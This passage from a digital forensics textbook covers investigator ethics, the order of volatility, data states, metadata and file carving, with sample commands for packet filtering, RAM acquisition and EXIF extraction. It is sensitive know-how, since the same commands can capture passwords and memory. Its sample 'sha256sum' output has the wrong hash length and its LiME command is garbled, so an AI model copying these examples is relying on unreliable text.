cause. - **Consent:** The owner or an authorized user of a device gives permission for a search. For consent to be valid, it must be given voluntarily and with full understanding. An investigator must not force or trick someone into giving consent.

- **Exigent Circumstances:** A rare exception to the warrant rule. It is used in emergency situations where there is an immediate threat of physical harm or the destruction of evidence. This is a very high legal standard to meet.

4.2.2 Data Minimization and Scope Limitation

The *principle of proportionality* states that an investigation should only be as invasive as needed to meet its goal. A small violation of a company rule, like too much personal web surfing, does not give a reason for a deep forensic analysis of an employee's entire life on their computer.

This principle is applied by limiting the scope of an investigation. The legal authority—like a warrant or a consent form—sets the limits of the search. An investigator has a legal and ethical duty to stay within these limits. For example, a warrant might allow a search for financial documents in a fraud case. This warrant does not give the investigator permission to read the suspect's personal diary, look at family photos, or view private medical records found on the same hard drive. Doing this would be a "*fishing expedition*", which is a search without a clear target. It violates privacy rights and could risk the evidence being rejected by the court.

A special challenge is *legally privileged communication*. This is private communication, such as between a lawyer and a client or a doctor and a patient, that is protected by law. If this kind of data might be present, a "*taint team*" or "*filter team*" can be used. This is a separate group of investigators, completely isolated from the main investigation team. Their only job is to review the data first and separate any protected material. Then, they pass the rest of the data to the main investigator.

4.2.3 Managing Incidental Findings

While searching legally, an investigator might accidentally find evidence of a different crime. This is called an *incidental finding*. Whether this new evidence can be used in court is often decided by the "*Plain View Doctrine*". This rule says that if an officer is legally in a place and sees something that is obviously evidence of a crime, they can seize it.

In a digital situation, this means that if an examiner is searching for evidence of fraud and finds an image that is clearly child exploitation material, that new evidence may be used in court. This creates an important ethical choice. The examiner must follow a strict procedure to avoid being accused of searching beyond the original approved scope.

Algorithmic Breakdown: Incidental Discovery Handling Procedure When you find evidence of a potentially serious crime that is outside your scope, you should immediately take these steps:

(1) **Halt:** Immediately stop looking at the specific file, folder, or data where you found the item.

(2) **Isolate:** Do not perform any more analysis or exploration of the unrelated material. Do not look for more of it.

(3) **Document:** Carefully document the exact time of the discovery, the location of the data (e.g., file path, sector address), and what you were doing when you found it. Take a screenshot if you can do so without showing more of the material.

(4) **Report:** Secure the evidence. Immediately report the finding to your supervisor, legal counsel, or law enforcement contact.

(5) **Wait:** Wait for legal instructions. The correct action is almost always to stop the original examination. Then, you must get a new, separate search warrant based on the probable cause from the incidental finding.

4.3 Professional Conduct and Reporting

The final result of a forensic investigation is not just data. It is a formal report and often testimony as an expert in a court case. When testifying, the investigator is acting as an officer of the court. Their professional behavior, notes, and communication skills all affect the trust given to the evidence they present.

4.3.1 Forensic Reporting and Documentation

Documentation does not happen at the end of an investigation. It starts as soon as a case is accepted and continues through every step. Every tool, command, decision, and piece of evidence must be recorded in careful notes at the time it happens. The main standard for forensic notes is *reproducibility*. This means another qualified examiner should be able to take your notes and the same evidence, follow your steps, and get the same results [113].

The formal forensic report is the final result of this process. It must be written so that people without a technical background, like lawyers, judges, and juries, can understand it. A typical report includes:

- **Executive Summary:** A short overview of the request, the main findings, and the conclusion, all written in simple language.
- **Evidence Description:** A detailed list of the evidence received, including brand, model, serial numbers, and their chain of custody.

- **Summary of Findings:** A list or summary of the most important evidence related to the case.
- **Detailed Analysis:** The technical part of the report. It describes the steps taken, the tools used, and the data that was found. All technical terms should be clearly explained.
- **Conclusion:** A final summary that gives the examiner's expert opinion based on the evidence. The report must state facts and opinions, not legal conclusions about guilt or innocence.

4.3.2 Expert Witness Testimony

If a case goes to trial, the forensic examiner may need to testify in court as an *expert witness*. An expert witness is someone with special knowledge who helps the court understand difficult technical topics. The expert's role is not to support one side, but to help the court find the truth. The expert's main duty is to the truth and to the court, not to the person who hired them.

Testifying in court can be stressful, especially when the other side's lawyer asks questions (cross-examination). Good testimony requires preparation and professionalism. Key methods include:

- **Listen Carefully:** Make sure you completely understand the question before you form an answer.
- **Pause Before Answering:** This gives you time to think. It also stops you from being pulled into quick questions and answers.
- **Be Truthful and Precise:** Answer only the question that was asked. Do not give extra information. Be honest about the limits of the evidence or your analysis.
- **Remain Calm and Professional:** Do not become angry or defensive. Your trustworthiness is your most important quality, and you can lose it by showing bias or arrogance.

4.4 Modern Ethical Challenges

As technology changes quickly, it always creates new and unclear ethical situations for digital investigators. The principles of integrity and objectivity do not change, but applying them to new technologies requires careful thought.

4.4.1 Deception in Online Investigations

Law enforcement and corporate investigators sometimes use undercover identities, like fake social media profiles. They do this to gather information or evidence, especially in cases about organized crime, terrorism, or online harassment. This method, called *pretexting*, creates ethical questions. *Pretexting* is

using a fake story or identity to get information. Some deception is an accepted part of investigations. But there is an important line between acceptable deception and illegal *entrapment*. Entrapment is when an investigator encourages a person to commit a crime that they were not already planning to commit. An investigator can create a chance for a person to act on their existing criminal interest, but they cannot give the person the idea and convince them to act. The difference is small and legally difficult.

4.4.2 AI, Automation, and Algorithmic Bias

Modern forensic tools are using more Artificial Intelligence (AI) and machine learning to search through huge amounts of data. For example, they can sort images or find communication patterns. This automation can make work much faster, but it also creates the "*black box problem*". This problem happens when you can see the data that goes into a system and the result that comes out, but you cannot see how the system made its decision [80]. If a tool uses a secret AI program (a *proprietary algorithm*) and marks a file as "suspicious," the examiner has an ethical duty to understand how the tool made that decision. It is not enough to say in court, "the tool found it." The examiner must be able to explain the process and its possible limits.

Also, AI models are trained on data. If the training data is biased, the AI program will also be biased. For example, some facial recognition programs have been shown to make more mistakes with women and ethnic minorities. An investigator who uses such a tool must know about its potential for bias and consider it when explaining the results.

4.4.3 Responsible Vulnerability Disclosure

Imagine an investigator is analyzing a company server that was hacked. While tracing the attacker's path, the investigator discovers a new, unknown security weakness in the server software. This is called a "*zero-day vulnerability*" because the software maker has had zero days to fix it. This discovery creates two responsibilities. The investigator has a duty to their client. But they also have a wider duty to the public to stop this same weakness from being used to harm others.

The correct way to handle this is called *Responsible Disclosure*. This process involves reporting the weakness privately to the software company. This gives them a reasonable amount of time to create and release a fix before the weakness is announced to the public. This method balances the need to tell the public with the need to prevent attacks.

Algorithmic Breakdown: Basic Responsible Disclosure Steps When a new vulnerability is discovered during an investigation, a professional response follows these steps:

(1) **Document:** Document the weakness completely and securely. Include clear, repeatable steps to make it happen.

(2) **Identify Vendor Contact:** Find the correct security contact for the software company (often a ‘security@vendor.com‘ email address or a web page).

(3) **Report Securely:** Send the vulnerability report to the company using a secure method, such as PGP-encrypted email.

(4) **Negotiate Timeline:** Work with the company to agree on a reasonable timeline for fixing the problem and for a planned public announcement (e.g., 90 days).

(5) **Escalate if Necessary:** If the company does not respond or will not cooperate, consider reporting the problem to a third-party group, such as the CERT Coordination Center (CERT/CC), before making any public announcement [38].

Conclusion

In this chapter, we learned the core ethical duties for a digital investigator: to be honest, to remain objective, to protect private data, and to stay technically skilled. An investigator uses these principles in every case to handle evidence correctly, write a clear report, and testify in court. Following these rules ensures that your technical work is trusted and can be used as evidence. Now that you understand the professional rules for an investigation, the next chapter will teach you how to analyze filesystems to find digital evidence.

Acronyms and Terminology

AI (Artificial Intelligence) Computer systems designed to perform tasks that typically require human intelligence, which are increasingly used in forensic tools to analyze large amounts of data.

Black Box Problem A situation in which an automated system or AI provides a conclusion without showing the internal steps or logic used to reach it, making it difficult for an investigator to verify or explain the finding.

CERT/CC (CERT Coordination Center) An expert organization that acts as a third-party coordinator for handling and disclosing software security vulnerabilities.

CFCE (Certified Forensic Computer Examiner) A professional certification demonstrating a high level of competence and expertise in the field of computer forensics.

Chain of Custody The documented chronological history of evidence, detailing every person who handled it and every action performed on it, to prove its integrity.

Cognitive Biases Natural errors in human thinking, such as Confirmation Bias or Expectation Bias, that can unconsciously influence an investigator's analysis and compromise objectivity.

Competence The ethical principle that an investigator must possess and maintain the up-to-date knowledge and skills required to perform forensic work reliably and accurately.

Confidentiality The professional and legal duty to protect private or sensitive information discovered during an investigation and not disclose it without proper legal authority.

Confirmation Bias A cognitive bias where an investigator tends to search for, interpret, and recall information in a way that confirms their pre-existing beliefs or theories about a case.

Consent Voluntary permission given by the owner or an authorized user of a device, allowing an investigator to conduct a search without a warrant.

Cryptographic Hashing A mathematical process that creates a unique, fixed-size digital fingerprint (a *hash value*) for any block of data. It is used to prove that digital evidence has not been altered.

Disk Image A perfect, bit-by-bit copy of a storage device (like a hard drive) created to preserve the original evidence, allowing investigators to work on the copy without changing the original.

Entrapment An illegal act where a law enforcement officer persuades or encourages a person to commit a crime that they were not already planning to commit.

Exigent Circumstances An emergency situation that allows a search without a warrant, used only when there is an immediate threat of physical harm or the destruction of evidence.

Expert Witness A person with specialized knowledge or skills who is qualified to testify in court to help the judge and jury understand complex or technical subjects.

Expectation Bias A cognitive bias that occurs when an investigator's findings are influenced by what others (such as detectives or lawyers) expect them to find.

Fishing Expedition A broad search for evidence without a specific target, which is an illegal violation of privacy.

GCFE (GIAC Certified Forensic Examiner) A well-regarded professional certification for digital forensic analysts and incident responders.

Incidental Finding The accidental discovery of evidence of a separate crime while legally searching for evidence related to the primary investigation.

Integrity The ethical principle of being honest and adhering to a strict moral code, which includes reporting findings accurately and never altering or hiding evidence.

IP (Intellectual Property) Creations of the mind, such as designs, inventions, or company secrets, that are protected by law and are often the subject of corporate investigations.

ISFCE (International Society of Forensic Computer Examiners) A professional organization that provides a code of ethics and standards for digital forensic practitioners.

Legally Privileged Communication Confidential communication, such as between a lawyer and client, that is legally protected from being disclosed in an investigation.

NDA (Non-Disclosure Agreement) A formal legal contract in which a party agrees to keep specific information confidential.

Objectivity The ethical principle of conducting an analysis and reaching conclusions based solely on the evidence, without influence from personal beliefs, feelings, or external pressure.

Plain View Doctrine A legal principle that allows an officer to seize evidence of a crime if it is discovered in plain sight while they are legally present in a location.

Pretexting An investigative technique of using a fabricated scenario or false identity to obtain information.

Principle of Proportionality The concept that an investigation should only be as invasive as necessary to achieve its defined goal, avoiding excessive intrusion into privacy.

Proprietary Algorithm A computer process or program that is owned by a private entity and whose internal workings are kept secret.

Reasonable Expectation of Privacy A legal standard that determines if a person's right to privacy is protected in a specific situation, central to digital search and seizure law.

Reproducibility A standard for forensic documentation requiring that notes be so detailed that another qualified examiner could repeat the steps and achieve the same results.

Responsible Disclosure The ethical process of reporting a newly discovered software vulnerability privately to the vendor, giving them time to create a patch before the vulnerability is made public.

Search Warrant A legal document issued by a judge that gives law enforcement the authority to search a specific place or device for specific items of evidence.

Taint Team / Filter Team A separate group of investigators whose role is to review evidence to identify and separate legally privileged material before passing the remaining data to the primary investigation team.

Zero-Day Vulnerability A security flaw in software that is unknown to the software maker, meaning they have had "zero days" to develop a fix.

Part 1

Digital Evidence Fundamentals and Lab Operations

This part moves from theory to practice. It teaches the basic technical skills and knowledge needed for any digital forensic investigation. First, you will learn what *digital evidence* is and its main features. Digital evidence is any information with legal value that is stored or sent in a digital format. Next, this part covers the important processes of collecting and protecting evidence without changing it. Finally, it explains how to design and equip a modern digital forensics lab with the necessary tools.

Chapter 5

Foundational Concepts of Digital Evidence

Introduction

To conduct a successful digital investigation, you must first understand the nature of digital evidence. This knowledge helps you find the correct information and prevents you from accidentally destroying it. This chapter teaches you the foundational concepts of digital evidence. We will explain the Order of Volatility, which is the rule for collecting data before it disappears. You will also learn about the three states of data, the important difference between a file's content and its metadata, and how to find evidence in modern sources like cloud services and smart devices.

5.1 The Order of Volatility

5.1.1 Introduction to Volatility

In digital forensics, **volatility** is a term for how easily data can be lost or changed. Volatile data can disappear when a computer's power is turned off or its state changes [22]. It is the most important rule for the order in which you collect data. This is especially true during a *live response*, which is an investigation on a computer that is still turned on. The main idea is simple and you must follow it: *collect the most volatile evidence first.* If you do not follow this order, you can lose important data forever.

Imagine you are at a digital crime scene. You might want to do the first thing you think of: pull the power cord to save the data on the hard drive. This one action could destroy a large amount of information. A running computer is not like a static filing cabinet. It is more like a living, changing thing. Its short-term memory, called *Random Access Memory (RAM)*, holds what the system is doing right now. This includes running programs, network connections, and

decrypted data. All of this information disappears when the power is turned off.

Real-World Scenario: The Hasty Shutdown, Consider an investigation of a data leak at a company. A first responder arrives at the server room and finds the affected computer. To take it to the lab for a correct forensic analysis, the responder turns off the computer by cutting the power. At that moment, all data in the Random Access Memory (RAM) is erased. This data included malicious software (a type of *fileless malware*, which is software that only runs in memory and is never saved to the hard drive), the active network connection to the attacker's server, and a list of other affected computers on the network. Later, the analysis of the hard drive shows only a normal operating system. The malware was designed to not save any files on the hard drive. Because the investigator did not collect the volatile memory first, a solvable case became impossible to solve. The evidence that could have identified the attacker and shown how large the attack was is now lost.

5.1.2 The Volatility Hierarchy

The Order of Volatility gives a clear guide for collecting evidence. It puts the data in order from most temporary to least temporary. This hierarchy ensures that investigators should think, "collect it now or lose it forever" [33].

(1) **CPU Registers, Cache, Peripheral Cache:** This is the most temporary data. It is information that the CPU is working on right now or that is stored in its fast memory (cache). It only exists for billionths of a second. It is very hard to collect this data directly, but it is important to know that it is the most volatile type of data.

(2) **Routing Tables, ARP Cache, Process Tables, Kernel Statistics:** This is live information about what the system is doing. This includes *process tables* (lists of all running programs), the *ARP (Address Resolution Protocol) cache* (which connects network IP addresses to physical device addresses), and *routing tables* (which show how the computer sends network traffic). This data can show malware, illegal network connections, and what the user was doing.

(3) **System Memory (RAM):** RAM contains a large amount of volatile evidence. It holds a picture of the computer's current activity. This includes running programs, open documents, passwords and encryption keys (which are often not encrypted), chat messages, anything copied to the clipboard, and parts of files that were never saved to the disk [12].

(4) **Temporary System Files & Swap Space:** When the RAM is full, the operating system moves data that is not being used often to a special file on the hard disk. This file is called *swap space* or a *pagefile*. This data is on the hard disk, but it is still volatile because the operating system often

overwrites it. Temporary files created by programs and the operating system are also in this category.

(5) **Data on Hard Disk Drives & Solid-State Drives:** This is the main source of *data at rest*, which is data stored permanently. It is the focus of *dead-box forensics*, which is the analysis of a computer that is turned off. It includes files created by the user, software, operating system files, logs, and a large amount of data in *unallocated space*. Unallocated space is the area on a disk that is not currently used by any active file, but may contain parts of old, deleted files.

(6) **Remotely Logged Data:** Evidence is not always on the target device itself. Information like system logs, firewall logs, and application logs might be sent to a central server. Cloud services also keep logs of user activity. This data is in a different physical location and is less volatile. However, companies may have policies to delete this data after a short time.

(7) **Archived Media & Backups:** This is the most stable and least volatile type of evidence. It includes data saved on backup tapes, external hard drives, *network-attached storage (NAS)* devices, or in cloud backup services. A NAS is a storage device connected to a network. This data does not change often and is meant to be stored for a long time.

5.2 The Three States of Digital Data

To know how to collect data, you must understand where it is and what state it is in. All digital data is in one of three states: data in transit, data in use, or data at rest. Each state requires different tools and methods for collection.

5.2.1 Data in Transit (Dynamic Data)

Definition and Characteristics

Data in transit is data that is currently moving from one place to another. This usually happens over a network, like a local company network (LAN) or the internet. The most important quality of this data is that it is temporary. If you do not capture the data while it is moving, it is lost forever. It is like listening to a phone call. You must be listening at the exact moment to hear the conversation.

Forensic Examples and Collection Methods

Examples of data in transit include network packets carrying TCP or UDP payloads, web browsing requests (HTTP/HTTPS), Voice over IP (VoIP) conversations, API calls between microservices, and file transfers. A *packet* is a small unit of data sent over a network.

The main collection method is **packet capture** (also called packet sniffing). This method uses a network card in a special "promiscuous mode". In this mode, the card captures all network traffic passing through it, not just the traffic sent to the investigator's computer. The standard tools for this are **Wireshark** (which has a graphical user interface) and **tcpdump** (which is a command-line tool) [42].

Practical Demo: Wireshark Filter, An investigator can use filters to separate important traffic from all the other data on a busy network. For example, to capture data sent to a website (like a username and password in unencrypted HTTP traffic), an investigator can use this Wireshark filter:

```
http.request.method == "POST"
```

This command tells Wireshark to show only the packets that are part of an HTTP POST request. A POST request is the method web browsers use to send information from a form to a server.

5.2.2 Data in Use (Volatile Memory Data)

Definition and Characteristics

Data in use is any data that a computer's CPU is currently processing or that is stored in the computer's memory (RAM). The operating system and running programs are always creating, changing, and reading this data. This data is the main goal of a *live acquisition*, which is the process of collecting data from a running computer. It shows the computer's current state. Like data in transit, it is very volatile and will be lost if the computer is turned off.

Forensic Examples and Collection Methods

Examples of important forensic data in use include the list of running processes, open documents not yet saved to disk, active chat sessions, clipboard contents, and most importantly, *cryptographic keys*, which are secret codes needed to unlock an encrypted hard drive.

To collect this data, you need special tools that can make an exact, bit-for-bit copy of physical memory. This copy is called a *memory image*. Common tools include:

- **DumpIt** (Windows) – simple GUI/CLI memory dumper.
- **winpmem** (Windows) – part of the Rekall/Volatility ecosystem.
- **LiME** (Linux Memory Extractor) – kernel module for Linux RAM dumps.
- **AVML** (Azure Virtual Machine Live) – Microsoft's cross-platform CLI tool for both Windows and Linux .

Algorithmic Breakdown: Memory Acquisition The basic steps to acquire memory are:

(1) **Prepare a trusted environment:** Boot or run from a known-clean USB stick or live CD/USB so you don't write to the suspect's system disk and avoid untrusted binaries.

(2) **Run the collection tool:**

- *Windows GUI/CLI (DumpIt):* `dumpit.exe /O C:\evidence\ram.raw`
- *Windows CLI (winpmem):* `winpmem.exe --output C:\evidence\ram.raw --format raw`
- *Cross-platform (AVML):* On Windows PowerShell or Linux shell: `avml --output /evidence/ram.raw`
- *Linux kernel module (LiME):* "'bash sudo insmod lime.ko "path=/evidence/ram.raw format=raw" "'

(3) **Access memory directly:** Each tool loads a kernel-level driver or module so it can bypass the OS's normal protections and read physical RAM.

(4) **Read the memory:** The dumper walks through all RAM addresses in sequence, copying every byte from the first to the last.

(5) **Save the data to a file:** All bytes are written out to a single image file (e.g. `ram.raw`) on your evidence drive.

(6) **Calculate a hash value:** Most tools will calculate a SHA256 (or MD5/SHA1) hash during acquisition. This hash is recorded immediately—for example:

```
$ sha256sum /evidence/ram.raw
3f786850e387550fdab836ed7e6dc881de23001b  /evidence/ram.raw
```

This fingerprint later proves your image hasn't changed.

5.2.3 Data at Rest (Static Data)

Definition and Characteristics

Data at rest is data that is saved on a storage device, like a hard drive. This data remains on the device even when it has no power. This is the most stable type of data. It is the main focus of "dead box" forensics (analyzing a computer that is turned off).

Forensic Examples and Acquisition

This category includes almost everything stored on a device: documents, photos, videos, database files, emails, operating system files, and program files. It includes storage like hard disk drives (HDDs), solid-state drives (SSDs), USB flash drives, memory cards, and backups.

The standard collection method is **forensic imaging**. This process creates an exact, bit-for-bit copy of the entire storage device, called a *forensic image*. This process must use a **write-blocker**. A write-blocker is a tool (either hardware or software) that prevents any changes from being made to the original evidence device. Common imaging tools include command-line utilities like `dd` and its forensically enhanced version `dcfldd`, as well as commercial suites like EnCase and FTK Imager [31].

5.3 The Anatomy of a File: Data, Metadata, and Signatures

A file is more than just the information you see when you open it. Every file contains different layers of information that can be very useful for an investigation. It is very important to understand the difference between the file's content (the data) and the information *about* the file (the metadata).

5.3.1 Understanding File Content vs. Metadata

- **Data (or File Content):** This is the main information inside a file. For example, it is the words in a document, the picture in an image file, or the code in a program.
- **Metadata:** This is "data about data." It is information that describes the file and gives it context. The computer's file system and the program that created the file both generate metadata automatically.

File System Metadata (MAC Times)

The *file system* (like NTFS on Windows or ext4 on Linux) is the way an operating system organizes files. The file system keeps its own metadata for every file and folder. The most important metadata for forensics are the timestamps. These are often called **MAC times** [31].

- **Modified:** The time the file's content was last saved.
- **Accessed:** The time the file was last opened or accessed. (Note: Modern operating systems often turn this feature off to improve performance. However, if it is turned on, it can be a useful piece of evidence.)
- **Created:** The time the file was created on this particular volume.

- **Entry Modified ($MFT):** On NTFS file systems, this timestamp records when the file's metadata record was last changed. This can show if someone renamed the file or changed its permissions, for example.

Real-World Story: The Joseph E. Duncan III Case, The case of serial killer Joseph E. Duncan III is a strong example of why metadata is important. Investigators found a memory card that Duncan had formatted (erased). Using data recovery methods, they were able to get back deleted files, including a spreadsheet. The metadata for this spreadsheet showed it was created only a few days before he kidnapped and murdered the Groene family. The spreadsheet had a detailed plan for the crimes. Also, metadata from recovered digital photos showed the exact times he bought things used for his crimes. This proved that the alibi (the story of where he was) he gave to the police was false.

Application Metadata (EXIF)

Programs also put metadata inside the files they create. A common example is **EXIF (Exchangeable Image File Format)** data. This data is stored in JPEG image files from digital cameras and smartphones. EXIF data can contain a lot of information, including:

- Camera make and model
- Image resolution and camera settings (shutter speed, aperture)
- The exact date and time the photo was taken
- GPS coordinates of where the photo was taken

Other examples include author and editing history in Microsoft Office documents or creation software details in PDF files.

Practical Demo: Extracting GPS with exiftool, ExifTool is a powerful command-line tool that can read, write, and edit metadata in many types of files. To get the GPS location (latitude and longitude) from a photo, an investigator can use this simple command [99]:

```
exiftool -gpslatitude -gpslongitude image.jpg
```

This command can prove that a suspect was at a specific place at a specific time. This can be a very important piece of evidence.

5.3.2 File Signatures and Data Carving

File Signatures (Magic Numbers)

File extensions (like `.jpg`, `.pdf`, `.docx`) are just part of a file's name. A user can easily change them to hide what the file really is. The correct way to identify a file's type is by its **file signature**. File signatures are also called

"magic numbers." A file signature is a specific sequence of bytes at the start (the header) and sometimes at the end (the footer) of a file. This sequence identifies the file's format. Forensic tools search for these signatures to identify files correctly, even if the file extension is wrong.

Common examples include:

- **JPEG Image:** Header begins with hex bytes `FF D8 FF E0`.
- **PDF Document:** Header begins with hex bytes `25 50 44 46`, which are the ASCII characters `%PDF`.
- **Windows Executable:** Header begins with hex bytes `4D 5A`, which are the ASCII characters `MZ`.

If a file's extension does not match its signature, this is a warning sign for an investigator. It often means a user tried to hide the file.

The Concept of Data Carving

When a file is deleted, the operating system usually just removes the pointer to the file. A pointer is the part of the file system that locates the file. The operating system then marks the file's disk space as "unallocated." The actual file data stays on the disk until a new file overwrites it. **Data carving** is the technique for recovering files from this unallocated space. It works by searching for known file signatures [79].

Data carving tools scan the raw data of a disk drive, looking for a known file header (like `FF D8 FF E0` for a JPEG). When the tool finds a header, it starts copying data. It stops copying when it finds the matching file footer, reaches a set size limit, or finds the header of another file. This method makes it possible to recover files even if all the file system metadata is gone. Leading data carving tools include **Foremost**, **Scalpel**, and **PhotoRec**.

5.4 Modern and Emerging Evidence Sources

Digital evidence is no longer found only on computers and servers. The large number of connected devices has created many new places to find evidence. These sources can give us more information than ever before about a person's life and actions.

5.4.1 Internet of Things (IoT) and Smart Devices

The **Internet of Things (IoT)** is the large network of physical devices that contain sensors, software, and other technologies. These devices connect to the internet to send and receive data. Each of these devices can be a source of digital evidence.

- **Examples:** Smart speakers (log voice commands and queries), smart watches and fitness trackers (track location, steps, heart rate), smart home hubs and thermostats (record occupancy and temperature adjustments), vehicle infotainment systems (log GPS routes, phone connections), and home security cameras (store video footage locally or in the cloud).

Forensic Challenges and Opportunities Investigating IoT devices has special challenges. Many of them use special file systems and data formats that are not standard. They often have small amounts of volatile storage. They also frequently send their most important data to the cloud. This means that analyzing only the device itself may not give a complete picture [46]. However, they offer a huge opportunity for investigators. Together, the data from these devices can create a very detailed timeline of a person's movements, conversations, and daily routines. This can prove or disprove an alibi with very high accuracy.

5.4.2 Cloud and Ephemeral Application Data

Cloud Storage as an Evidence Source

More and more user data is now stored in the cloud, not on local devices. It is stored and synchronized with services like Google Drive, Dropbox, iCloud, and Microsoft OneDrive. For a forensic investigator, this has both advantages and disadvantages. Evidence might still exist on a cloud provider's servers long after a user has deleted it from their phone or computer. This makes the cloud a very important place to find evidence [114]. But getting this data is not as simple as taking a device. It requires legal permission, like a search warrant. The investigator must give this legal document to the cloud company. This process can take a long time and may involve different countries' laws.

Investigating Ephemeral Messaging

Ephemeral messaging applications like Signal or Snapchat are designed to automatically delete messages after they have been read. This creates a difficult problem for investigators. However, the term "disappearing messages" can be misleading for forensic experts. Even though the application is made to delete the data, parts of it (called *digital remnants*) can often be found. An investigator may be able to recover traces of these communications from several places:

- **Unallocated Space:** Like any other deleted file, parts of the messages might remain in the device's unallocated space until new data overwrites them.
- **Application Caches:** Programs often store data temporarily in a *cache* to work faster. These caches might not be cleared right away.

- **Memory Dumps:** If the program was running when the device was taken, a memory dump (from a live acquisition) could contain recent messages.
- **User Screenshots:** The recipient (or sender) of a message may have taken a screenshot, which would be stored as a standard image file on the device.
- **Cloud Backups:** If the device was backed up (e.g., to iCloud or Google Drive) before a message was deleted, the message may be saved in that backup.

Conclusion

This chapter covered the essential rules for handling digital evidence. We learned to follow the Order of Volatility to capture temporary data first, and how to collect evidence from its three different states: in transit, in use, and at rest. We also saw how a file's metadata and signature can reveal critical information. This knowledge allows an investigator to create a smart collection plan for any situation and ensures that you capture all types of evidence, from network traffic to deleted files. In the next chapter, we will use these foundational skills to perform a detailed analysis of filesystems.

Acronyms and Terminology

ARP Address Resolution Protocol: A network process that links a logical network address (like an IP address) to a physical device address (MAC address). The ARP cache stores this information temporarily and is a source of volatile evidence.

AVML Azure Virtual Machine Live: A command-line tool from Microsoft for acquiring a live memory image (RAM dump) from both Windows and Linux systems.

Cache A temporary storage area used by a program or operating system to hold data for quick access. Caches can contain remnants of data, even after it has been supposedly deleted.

CPU Central Processing Unit: The primary processor of a computer. Its internal memory (registers and cache) contains the most volatile form of data.

Data at Rest Data that is saved in a non-volatile state on a storage device, such as a hard drive or SSD. This data persists even when the device is turned off.

Data Carving The process of recovering files from a storage medium by searching for known file signatures in the raw data, often used on unallocated space where deleted files may reside.

Data in Transit Data that is actively moving across a network, from one point to another. It is highly volatile and must be captured as it moves or it will be lost.

Data in Use Data that is actively being processed by a computer's CPU or that resides in its volatile memory (RAM).

dcfldd A forensically-enhanced version of the `dd` command-line utility, used for creating bit-for-bit forensic images of storage devices.

Dead-box Forensics The analysis of a computer or digital device that has been powered off. This process primarily focuses on examining data at rest.

Digital Remnants Traces or fragments of data that remain on a device even after a user or application has attempted to delete them.

DumpIt A simple command-line or GUI tool used to acquire a memory image (RAM dump) from a live Windows system.

Ephemeral Messaging A type of communication where messages are designed to be automatically deleted after being viewed, such as in apps like Snapchat or Signal.

EXIF Exchangeable Image File Format: A standard for storing metadata within image files. This data can include the camera model, date, time, and GPS coordinates of where the photo was taken.

ExifTool A powerful command-line tool for reading, writing, and editing metadata (like EXIF data) within a wide variety of file types.

File System The method and data structure an operating system uses to control how data is stored and retrieved on a storage device like a hard drive.

File Signature (Magic Numbers) A unique sequence of bytes at the beginning (and sometimes end) of a file that identifies the true file format, regardless of the file's extension.

Fileless Malware Malicious software that exists and runs only in a computer's active memory (RAM) without writing itself to the hard drive, making it undetectable in a powered-off system.

Foremost A command-line tool used to perform data carving to recover deleted files based on their headers and footers.

Forensic Image An exact, bit-for-bit copy of an entire storage device, which also includes unallocated space, slack space, and other data not visible to the operating system.

HDD Hard Disk Drive: A traditional data storage device that stores data magnetically on rotating platters.

IoT Internet of Things: The vast network of interconnected physical devices, such as smart watches, security cameras, and home assistants, that collect and exchange data and can serve as sources of digital evidence.

LiME Linux Memory Extractor: A kernel module used to acquire a complete memory image (RAM dump) from a running Linux system.

Live Acquisition The process of collecting data, particularly from volatile memory (RAM), from a computer while it is still running.

Live Response The set of actions an investigator performs on a computer system while it is still powered on, with the primary goal of collecting volatile data before it is lost.

MAC Times A set of critical file system metadata timestamps associated with a file, including its Modified, Accessed, and Created times.

Memory Image A bit-for-bit copy of the contents of a computer's physical memory (RAM) at a specific point in time.

Metadata Data about data. It is information that describes a file's properties, such as its creation date, author, file size, and timestamps, rather than the content of the file itself.

NAS Network-Attached Storage: A dedicated file storage device connected to a network that allows multiple users and devices to store and retrieve data from a central location.

Order of Volatility The fundamental principle in digital forensics that dictates evidence should be collected in order from most volatile (most likely to be lost) to least volatile.

Packet A small segment of a larger message that is sent over a computer network.

Packet Capture (Packet Sniffing) The act of intercepting and logging data packets as they travel across a digital network.

PhotoRec A file data recovery software tool designed to recover lost files, including video, documents and archives from hard disks, and lost pictures from digital camera memory.

Promiscuous Mode A setting for a network interface card (NIC) that allows it to capture all network traffic it can see, not just the traffic addressed to it.

RAM Random Access Memory: A computer's volatile, short-term memory where applications, the operating system, and current data are kept for fast access by the processor. Its contents are lost when power is turned off.

Scalpel An open-source data carving tool that is an overhaul and improvement of the Foremost tool.

SSD Solid-State Drive: A modern data storage device that uses integrated circuit assemblies to store data persistently, typically using flash memory.

tcpdump A common command-line packet analyzer that allows a user to intercept and display network traffic.

Unallocated Space The portion of a storage drive that is not currently allocated to any active file by the file system. It may contain data from previously deleted files.

Volatility A term describing how long data is expected to last. Volatile data is temporary and is lost when a device loses power.

Wireshark A popular and powerful network protocol analyzer with a graphical user interface, used for packet capture and deep inspection of network traffic.

winpmem A memory acquisition tool for Windows systems, part of the Rekall and Volatility memory analysis frameworks.

Write-blocker A device, either hardware or software, that prevents any writes or modifications from being made to a storage device, ensuring the integrity of the original evidence during a forensic acquisition.

Chapter 6

Evidence Acquisition and Preservation

Introduction

To use digital evidence in an investigation, you must collect it correctly. If you make a mistake during this first step, the evidence may be unusable in court, which can ruin the entire case. This chapter teaches you the proper methods to acquire (collect) and preserve (protect) digital evidence. We will cover the core rules of evidence integrity and chain of custody. Then, you will learn how to create forensic images from powered-off devices and how to collect live data from running computers.

6.1 Integrity and Chain of Custody

Before using any tool or copying any data, an investigator must fully understand two ideas: evidence integrity and the chain of custody. These are not just steps to follow. They are the main principles that make the results of an investigation valid in court.

6.1.1 Never Analyze the Original

The most important rule in digital evidence handling is to never perform analysis directly on the original evidence. Instead, investigators must do all analysis on a special copy, called a *forensic image*. There are three main reasons for this rule:

(1) **Prevention of Spoliation:** Working with original evidence creates a very high risk of changing it. *Spoliation* is the term for changing or destroying evidence, whether on purpose or by accident. Spoliation can make the entire investigation invalid. Modern operating systems automatically

write new data to a drive. For example, they update file access times or create new system files. These actions would permanently change the original evidence [33].

(2) **Preservation for Verification:** The original evidence must be kept in its original, unchanged condition. This allows another expert, like one from an opposing legal team, to check the first investigator's results. This ability to repeat a process and get the same result is a basic part of applying the scientific method to forensics.

(3) **Multiple Analyses:** Making one or more exact copies allows investigators to use different analysis methods or tools without harming the original evidence. For example, an investigator might use one copy to look for malware and another copy to recover deleted files.

You can think of a forensic image as a perfect, verifiable copy of a digital crime scene. Just as an investigator would not move objects at a physical crime scene, a digital investigator must not "touch" the original digital scene.

6.1.2 Introduction to Hashing for Integrity Verification

